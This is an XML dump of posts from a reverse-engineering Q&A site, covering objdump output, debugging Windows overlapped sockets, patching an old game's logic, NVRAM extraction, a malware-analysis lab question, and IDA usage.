  <row Id="14633" PostTypeId="1" CreationDate="2017-02-12T12:05:29.600" Score="24" ViewCount="59788" Body="&lt;p&gt;Aim: I want to take hex and ascii data (derived from a binary file using xxd) and use Objdump (or a suitable other tool that Linux comes with) to output the memory addresses / offsets, assembly code, and text data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I can get the offsets and assembly code, but not text strings alongside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following:&#xA;&lt;code&gt;objdump -D -b binary -mi386 -Maddr16,data16 &amp;lt;filename&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I need to use the &lt;code&gt;-s&lt;/code&gt; switch?&lt;/p&gt;&#xA;" OwnerUserId="12160" LastEditorUserId="12160" LastEditDate="2018-01-26T12:42:28.780" LastActivityDate="2018-01-26T12:42:28.780" Title="Objdump - How to output text (eg ASCII strings) alongside assembly code?" Tags="|disassembly|disassemblers|binary|objdump|hexadecimal|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14634" PostTypeId="1" CreationDate="2017-02-12T12:08:26.260" Score="3" ViewCount="681" Body="&lt;p&gt;The problem is quite complex so i don't want to run into unneccessary details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a network application, that communicates with multiple clients at once via UDP. I haven't written it and there is no way to get source codes. Its author has abandoned it so i cannot expect any kind of support from his side. That server application contains a bug, that allows anyone to crash it by sending a specificaly malformed packet. I need to develop some kind of fix on my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to analyze the program using IDA Free, x64dbg and some other tools. However i am unable to find the code, which is processing the received packets. First i've looked up the API calls and found a call to &lt;code&gt;WSARecvFrom&lt;/code&gt; (documentation by &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms741686(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;) and set a breakpoint to it. But inspecting its arguments i found out, it is using overlapped sockets. I learned little bit about this model &lt;a href=&quot;http://www.winsocketdotnetworkprogramming.com/winsock2programming/winsock2advancediomethod5e.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. According to that article, the receive operation is performed asynchronously and completed later and there are 2 ways how the program can be notified when it's finished.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;by a pointer to a function lpCompletionRoutine, which gets called when data are ready&lt;/li&gt;&#xA;&lt;li&gt;by a HANDLE to an event object, that is set, when data are ready&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However in my application both lpCompletionRoutine and lpOverlapped.hEvent are NULL. Yet the function always return -1 and WSAGetLastError() is 3E5 (WSA_IO_PENDING).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tORA9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tORA9.png&quot; alt=&quot;WSARecvFrom call&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If lpCompletionRoutine and lpOverlapped.hEvent are both NULL, how does the application know, when to process the received data and more importantly, &lt;strong&gt;how do i find that code, which processes those data??&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have tried searching API call &lt;code&gt;WSAGetOverlappedResult&lt;/code&gt;, there isn't any. I also tried setting a hardware breakpoint on that buffer, but it didn't break until exception ACCESS_VIOLATION, where data were already in buffer and being processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find the beginning of the processing, but there is quite a lot of code between.&lt;/p&gt;&#xA;" OwnerUserId="17653" LastEditorUserId="17653" LastEditDate="2017-02-13T14:48:02.063" LastActivityDate="2017-02-18T10:21:34.673" Title="How to debug packet processing with overlapped socket on Windows" Tags="|windows|winapi|networking|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14635" PostTypeId="1" AcceptedAnswerId="14637" CreationDate="2017-02-12T12:46:33.200" Score="0" ViewCount="626" Body="&lt;p&gt;I am currently working on a old 90's video game to try to correct/modify unrealistic behaviors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to almost complete my list, but it remains my main objective...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a management game, and if you are a poor manager, your boss simply fire you, sometimes for debatable reasons. I found where the &quot;You are fired&quot; pannel is launched, but I have some difficulties to understand the mecanism. Could someone help me to understand the below code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that according to IDA it is a 16 bits application.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov     eax, dword_5F94E0  // copy the content of dword in eax&#xA;    mov     ecx, eax // copy eax in ecx&#xA;    lea     edx, [eax+eax*4] // ??&#xA;    lea     eax, [edx+edx*8] // ??&#xA;    shl     eax, 8 // ??&#xA;    add     eax, ecx // add ecx to eax&#xA;    lea     edx, [eax+eax*2] // ??&#xA;    mov     eax, dword_9FB922[ecx+edx*2] // ??&#xA;    lea     ecx, dword_9ECB20[ecx+edx*2] // ??&#xA;    sub     eax, 2C5h // remove 709 from eax&#xA;    cmp     eax, 0Dh // compare eax to 13&#xA;    ja      short loc_42D480 // jump if eax &amp;gt; 13 (not fired) else fired&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there is the easy way to change the behavior of the last line.But it seems it is more complicated: doing so only prevent the &quot;You are fired&quot; panel to be displayed, but you are still sacked.&lt;/p&gt;&#xA;" OwnerUserId="19074" LastEditorUserId="19074" LastEditDate="2017-02-12T14:18:30.483" LastActivityDate="2017-02-18T06:37:08.360" Title="Help to understand some assembly code" Tags="|disassembly|assembly|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14636" PostTypeId="1" AcceptedAnswerId="14662" CreationDate="2017-02-12T14:20:59.793" Score="1" ViewCount="5095" Body="&lt;p&gt;How to extract content from NVRAM file? NVRAM type is SPI Serial NOR Flash.&#xA;NVRAM has been copied as mtdblock partition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An embedded device that run Linux v2.6.18_pro500.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Linux version 2.6.18_pro500 (gcc version 4.2.0 20070126 (prerelease) (MontaVista 4.2.0-2.0.0.custom 2007-02-12) &#xA;Processor: ARMv6-compatible processor rev 4 (v6b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MTD device contain 8 partitions, nvram mtd7 partition is &lt;code&gt;jffs2&lt;/code&gt; filesystem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/proc/mtd&#xA;dev:    size   erasesize  name&#xA;mtd0: 00020000 00010000 &quot;U-Boot&quot;&#xA;mtd1: 00010000 00010000 &quot;env1&quot;&#xA;mtd2: 00010000 00010000 &quot;env2&quot;&#xA;mtd3: 007b0000 00010000 &quot;UBFI1&quot;&#xA;mtd4: 007b0000 00010000 &quot;UBFI2&quot;&#xA;mtd5: 000c886c 00010000 &quot;Kernel&quot;&#xA;mtd6: 00416800 00010000 &quot;RootFileSystem&quot;&#xA;mtd7: 00050000 00010000 &quot;nvram&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39817" LastEditorUserId="39817" LastEditDate="2017-02-15T22:05:28.140" LastActivityDate="2020-01-10T17:56:34.780" Title="How to extract content of NVRAM file?" Tags="|firmware|linux|embedded|flash|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14637" PostTypeId="2" ParentId="14635" CreationDate="2017-02-12T16:04:45.030" Score="1" Body="&lt;p&gt;Without taking into account 16/32bit problem you already mentioned I'll try to explain what the code does (if this is what you exactly asked for):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;mov     eax, dword_5F94E0&lt;/code&gt;  // copy the content of dword in eax&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;mov     ecx, eax&lt;/code&gt; // copy eax in ecx&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;lea     edx, [eax+eax*4]&lt;/code&gt; // LEA stand for &quot;load effective address&quot;, so after this line EDX will contain and ADDRESS of memory cell with address of eax+eax*4&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;lea     eax, [edx+edx*8]&lt;/code&gt; // Similar to previous line. For me - looks a bit stupid, to calculate next address out of the previous one. For me this is an indicator of some problems during disassembly/debugging, but I am not very experienced to claim it to be true for 100%.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;shl     eax, 8&lt;/code&gt; // SHL stands for Shift Left. It shifts the content of EAX bitwise on 8 bits, which is equal to multiplying it by 256. If some non-zero bits were shifted &quot;out of&quot; register - CF flag will be raised.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;add     eax, ecx&lt;/code&gt; // add ecx to eax&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;lea     edx, [eax+eax*2]&lt;/code&gt; // Similar to previous LEA commands.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;mov     eax, dword_9FB922[ecx+edx*2]&lt;/code&gt; // dword_9FB922 seems to be a DWORD array or matrix. So base-index addressing is used. ecx+edx*2 refers to a particular element of an array (or matrix, look here for an explanation &lt;a href=&quot;http://www.slideshare.net/bilalamjad1/arrays-and-addressing-modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;). The strange thing here is that usually, when working with DWORD (4-byte-element array) you have to multiply (scale) by 4 and not 2. This might be just a wrong naming from IDA.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;lea     ecx, dword_9ECB20[ecx+edx*2]&lt;/code&gt; // Same thing here.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sub     eax, 2C5h&lt;/code&gt; // remove (subtract) 709 from eax&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;cmp     eax, 0Dh&lt;/code&gt; // compare eax to 13&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;ja      short loc_42D480&lt;/code&gt; // jump if eax &gt; 13 (not fired) else fired.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I recommend to review the data in all that dword_* variables. Hope this helped you.&lt;/p&gt;&#xA;" OwnerUserId="15278" LastEditorUserId="-1" LastEditDate="2017-02-13T12:17:55.347" LastActivityDate="2017-02-13T12:17:55.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14638" PostTypeId="1" AcceptedAnswerId="14653" CreationDate="2017-02-12T22:36:03.180" Score="0" ViewCount="1651" Body="&lt;p&gt;I am working on Lab11-03 in &amp;quot;Practical Malware Analysis&amp;quot; book.&lt;br /&gt;&#xA;The malware I am analyzing trojanized the file &lt;code&gt;cisvc.exe&lt;/code&gt; which is the indexing service in Windows XP.&lt;/p&gt;&#xA;&lt;p&gt;After that the malware start the service by running the command &lt;code&gt;net start cisvc&lt;/code&gt;.&lt;br /&gt;&#xA;I put a breakpoint before it starts the service:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Y4j4c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4j4c.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want to debug the service (cisvc.exe).&lt;br /&gt;&#xA;I opened it in another instance of OllyDbg but I received an exception:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EL2IJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EL2IJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is an option to attach processes but the serivce it currently stopped.&lt;br /&gt;&#xA;I need some way to put a breakpoint in the very beginning of it.&lt;/p&gt;&#xA;&lt;p&gt;Any idea how can I do it ?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-02-14T12:02:44.610" Title="Can't debug a service" Tags="|ida|ollydbg|debugging|malware|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14639" PostTypeId="2" ParentId="14633" CreationDate="2017-02-13T01:28:57.590" Score="35" Body="&lt;p&gt;It is assumed here that Linux ELF32 binaries are being analyzed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code and data such as strings are stored in separate parts of ELF binaries. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To disassemble the parts containing code, use &lt;code&gt;objdump -dj .text &amp;lt;binary_name&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;To examine hard-coded string data, use &lt;code&gt;readelf -x .rodata &amp;lt;binary_name&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Instructions and Data are located in separate areas within ELF binaries&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently I can get the offsets and assembly code, but not text strings alongside.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Code and hardcoded strings are not intermingled in x86 or x86-64 ELF binaries. When the compiler toolchain generates a binary, hardcoded strings are placed in a separate area of the binary from the executable code and are referenced/accessed by their virtual memory address. Here is a &lt;a href=&quot;https://github.com/corkami/pics/raw/master/binary/elf101/elf101.pdf&quot; rel=&quot;noreferrer&quot;&gt;diagram&lt;/a&gt; by Ange Albertini of the how different sections are laid out in ELF binaries:&#xA;       &lt;a href=&quot;https://i.stack.imgur.com/xkGtg.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xkGtg.jpg&quot; alt=&quot;Ange Albertini ELF&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this more clear, below are visualizations of the Linux utilities &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;mkdir&lt;/code&gt; and &lt;code&gt;mv&lt;/code&gt; (accomplished via &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;noreferrer&quot;&gt;binvis.io&lt;/a&gt;). The solid blue areas consist of ASCII string data (the &lt;code&gt;.rodata&lt;/code&gt; section, for example), and the large blocks of blue, white, red and black mixed together are regions that consist of executable code (the &lt;code&gt;.text&lt;/code&gt; section, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;*       ls                  cat              mkdir                mv&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FF1Zv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FF1Zv.png&quot; alt=&quot;ls&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ldwLP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldwLP.png&quot; alt=&quot;cat&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EsrKg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EsrKg.png&quot; alt=&quot;mkdir&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Vhagx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vhagx.png&quot; alt=&quot;mv&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we can see from these visualizations, these binaries are organized in a similar fashion. Each binary has discrete areas, or sections, which contain different information. We can also see here that there are multiple areas (i.e. sections) containing ASCII string data, not just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sections with executable instructions will not contain meaningful strings, only code. This can be observed directly by using the &lt;code&gt;-s&lt;/code&gt; option with &lt;code&gt;objdump&lt;/code&gt; when examining the &lt;code&gt;.text&lt;/code&gt; section of the Linux &lt;code&gt;date&lt;/code&gt; utility:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -sj .text /bin/date&#xA;/bin/date:     file format elf64-x86-64&#xA;&#xA;Contents of section .text:&#xA; 401af0 41574531 ff415645 31f64155 41544531  AWE1.AVE1.AUATE1&#xA; 401b00 e45589fd 534889f3 4881ecd8 00000048  .U..SH..H......H&#xA; 401b10 8b3ee8f9 530000be a1c84000 bf060000  .&amp;gt;..S.....@.....&#xA; 401b20 00e8bafe ffffbe87 944000bf 61944000  .........@..a.@.&#xA; 401b30 e83bfcff ffbf6194 4000e811 fcffffbf  .;....a.@.......&#xA; 401b40 102c4000 e8877800 00c64424 0f0048c7  .,@...x...D$..H.&#xA; &amp;lt; snip &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In ELF binaries, the &lt;code&gt;.text&lt;/code&gt; section holds the executable instructions of the program. The bytes the instructions are composed of are being treated as ASCII in this hexdump, so there are meaningless sequences of characters being printed. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Objdump will treat data as instructions and disassemble accordingly&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; relies on an ELF binary's section headers to determine which sections of the binary contain code and which sections contain data. Only sections with instructions (&lt;code&gt;.text&lt;/code&gt;, for example) should be disassembled using &lt;code&gt;objdump&lt;/code&gt;.The &lt;code&gt;-D&lt;/code&gt; argument to &lt;code&gt;objdump&lt;/code&gt; will result in all sections of an ELF binary being disassembled, even non-code sections like &lt;code&gt;.data&lt;/code&gt; and &lt;code&gt;.rodata&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the manual page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-D&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;--disassemble-all&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Like -d, but disassemble the contents of all sections, not just those expected to contain instructions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that even if a section contained hardcoded strings (&lt;code&gt;.dynstr&lt;/code&gt;, &lt;code&gt;.shstrtab&lt;/code&gt;, &lt;code&gt;.rodata&lt;/code&gt;, etc.) &lt;code&gt;objdump&lt;/code&gt; would treat this data as instructions and dissasemble them accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example using /bin/date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/bin/date:     file format elf64-x86-64&#xA;&#xA;&#xA;Disassembly of section .rodata:&#xA;&#xA;0000000000409400 &amp;lt;.rodata&amp;gt;:&#xA;  409400:       01 00                   add    %eax,(%rax)&#xA;  409402:       02 00                   add    (%rax),%al&#xA;  409404:       74 69                   je     40946f &amp;lt;__sprintf_chk@plt+0x798f&amp;gt;&#xA;  409406:       6d                      insl   (%dx),%es:(%rdi)&#xA;  409407:       65 20 25 73 20 69 73    and    %ah,%gs:0x73692073(%rip)        # 73a9b481 &amp;lt;stderr+0x7348d131&amp;gt;&#xA;  40940e:       20 6f 75                and    %ch,0x75(%rdi)&#xA;  409411:       74 20                   je     409433 &amp;lt;__sprintf_chk@plt+0x7953&amp;gt;&#xA;  409413:       6f                      outsl  %ds:(%rsi),(%dx)&#xA;  409414:       66                      data16&#xA;  409415:       20 72 61                and    %dh,0x61(%rdx)&#xA;  409418:       6e                      outsb  %ds:(%rsi),(%dx)&#xA;  409419:       67 65 00 0a             add    %cl,%gs:(%edx)&#xA;  40941d:       52                      push   %rdx&#xA;  40941e:       65                      gs&#xA;  40941f:       70 6f                   jo     409490 &amp;lt;__sprintf_chk@plt+0x79b0&amp;gt;&#xA;  &amp;lt; snip &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like there are instructions being disassembled, when in reality is data being treated as code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -x .rodata /bin/date&#xA;Hex dump of section '.rodata':&#xA;  0x00409400 01000200 74696d65 20257320 6973206f ....time %s is o&#xA;  0x00409410 7574206f 66207261 6e676500 0a526570 ut of range..Rep&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the arguments &lt;code&gt;-b binary&lt;/code&gt; result in &lt;code&gt;objdump&lt;/code&gt; treating the binary as a blob with a single section, obliterating any distinction between code and data within the binary, resulting in the entire contents of the binary being treated as code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: the &lt;a href=&quot;https://refspecs.linuxfoundation.org/elf/gabi41.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V ABI&lt;/a&gt; section 4: &quot;Object Files&quot;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-01-24T14:22:48.483" LastActivityDate="2018-01-24T14:22:48.483" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14641" PostTypeId="1" CreationDate="2017-02-13T07:18:58.697" Score="2" ViewCount="980" Body="&lt;p&gt;I have some binary files, each of them contain instructions of a function, (may be a little more in the end). The begining of the file also is the start point of the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This files were extracted from a ELF file.The platform is arm64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how to load and analyze this file using angr?&lt;br&gt;&#xA;I upload a sample file here: xfrank.pythonanywhere.com/bin&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The original target:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every function has a &quot;switch case statement&quot;, the target is to get all intergers of the case expression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example(C code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void func1(int cmd){&#xA;    switch (cmd) {&#xA;    case 1:&#xA;        xxxx&#xA;        break;&#xA;    case 10:&#xA;        yyyy;&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result: 1,10&lt;/p&gt;&#xA;" OwnerUserId="14514" LastEditorUserId="14514" LastEditDate="2017-02-18T08:39:44.190" LastActivityDate="2017-08-16T20:31:03.290" Title="In angr, how to Load and Analyze a binary file that only contain a function instructions" Tags="|binary|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14642" PostTypeId="1" CreationDate="2017-02-13T07:25:04.367" Score="1" ViewCount="3267" Body="&lt;p&gt;I have a .bin file from a vendors website that I want to walk through with radare2. I've determined that the device has a DRAM chip, a RTL8304 network controller and a DSPgroup dsp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://firmware.grandstream.com/Release_GXP16xx_1.0.4.50.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's&lt;/a&gt; a link to the firmware.&lt;/p&gt;&#xA;" OwnerUserId="17841" LastEditorUserId="18698" LastEditDate="2017-12-16T16:52:18.283" LastActivityDate="2017-12-16T16:52:18.283" Title="How to determine architecture from firmware file" Tags="|firmware|radare2|patch-reversing|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14644" PostTypeId="1" CreationDate="2017-02-13T11:20:50.583" Score="1" ViewCount="3602" Body="&lt;p&gt;I edited a &quot;.so&quot; file (which extracted from an APK) with IDA Pro, and now I am trying to save it with the same format. But it seems that I cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please explain to me step by step how to save/export .so format with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much!&lt;/p&gt;&#xA;" OwnerUserId="19143" LastActivityDate="2017-09-12T16:44:25.383" Title="Saving .so file with IDA" Tags="|ida|android|arm|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14645" PostTypeId="2" ParentId="14642" CreationDate="2017-02-13T11:53:31.163" Score="1" Body="&lt;p&gt;You can run &lt;a href=&quot;https://github.com/devttys0/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt; with command line switch &lt;code&gt;-A&lt;/code&gt;. If it will find specific opcodes it will report also the architecture. See &lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binwalk usage documentation&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-02-13T11:53:31.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14646" PostTypeId="1" AcceptedAnswerId="14920" CreationDate="2017-02-13T12:41:08.260" Score="3" ViewCount="9564" Body="&lt;p&gt;is it possible when performing static analysis with IDA to change the default load address of the module (ie 0x00400000 in most cases depending on PE preferences) ? I think I read a book on IDA 1 year ago which taught me how to, however with googling around and browsing in IDA i didn't find anything.&lt;/p&gt;&#xA;" OwnerUserId="19145" LastActivityDate="2017-03-16T11:45:58.020" Title="Relocate load address of main module IDA" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14647" PostTypeId="2" ParentId="14607" CreationDate="2017-02-13T13:29:39.890" Score="5" Body="&lt;p&gt;I'm not aware of any ready-made tools for such task, but I suspect in most cases the good old &lt;code&gt;dd&lt;/code&gt; will do the task of replacing the actual bytes in the file  (or maybe you can make &lt;code&gt;objcopy&lt;/code&gt; work too). What can be more difficult is making the code work with the changed data. This depends on the nature of the data in question. For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When replacing (patching) code (instructions), you need to be aware of possible relocations pointing into the address range you're replacing  (if the file is relocatable). The loader will apply the relocations without checking that they make sense and that will likely make your code work incorrectly or crash. Same issue applies to data which may be relocated (e.g. tables of pointers).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even if the data you're replacing is not affected by the loader, it might be used in other ways. For your initrd example, &lt;a href=&quot;http://lxr.free-electrons.com/source/init/initramfs.c&quot; rel=&quot;noreferrer&quot;&gt;the code in the kernel&lt;/a&gt; makes references to symbols like &lt;code&gt;__initramfs_start&lt;/code&gt;, &lt;code&gt;__initramfs_end&lt;/code&gt;, whose values may need to be updated to account for the new initrd size. How to do that depends on how the code is using those symbols: are they taken from the ELF symbol table or just embedded in the code (i.e. were resolved at link time)? In the latter case you'll need to find and patch those values in the binary, keeping in mind that they are probably virtual load-time addresses and not file offsets.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In case the code is using the ELF sections, you will need to update the section headers to properly point to your data or adjust their size e(some hex editors allow you to edit fields of the ELF headers but in the worst case you'll need to do it manually by patching individual bytes).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-13T13:29:39.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14648" PostTypeId="1" AcceptedAnswerId="14652" CreationDate="2017-02-13T16:06:10.433" Score="2" ViewCount="392" Body="&lt;p&gt;When setting a hardware breakpoint (&lt;code&gt;DR0&lt;/code&gt;...), this stores an address (as far as I can see, it looks like a virtual address). Because addresses are shared between processes (at least in 32 bits this can be the case), how does the processor know which process is affected in order to raise the exception? Does this have any implications in a multiprocessor environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &lt;code&gt;DR7&lt;/code&gt; flags if the bp has global (all tasks) or local (current task only) relevance, but I cannot see how the processor knows when to raise the exception since I can set a hw bp at &lt;code&gt;410123&lt;/code&gt; for my current pid (task), and other pids might use the same address too.&lt;/p&gt;&#xA;" OwnerUserId="18064" LastActivityDate="2017-02-14T15:45:29.783" Title="How does the processor distinguishes processes wrt HW bps?" Tags="|debugging|breakpoint|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14649" PostTypeId="1" AcceptedAnswerId="14654" CreationDate="2017-02-13T23:46:46.630" Score="1" ViewCount="2235" Body="&lt;p&gt;Is there a way, as ollydbg provides, to run untill user code (programmer code) with IDA PRO ?&#xA;You can do that in several ways in olly, like setting a breakpoint on the .text section of main module.&lt;/p&gt;&#xA;" OwnerUserId="19145" LastActivityDate="2017-02-14T13:36:48.857" Title="Run to user code in IDA" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
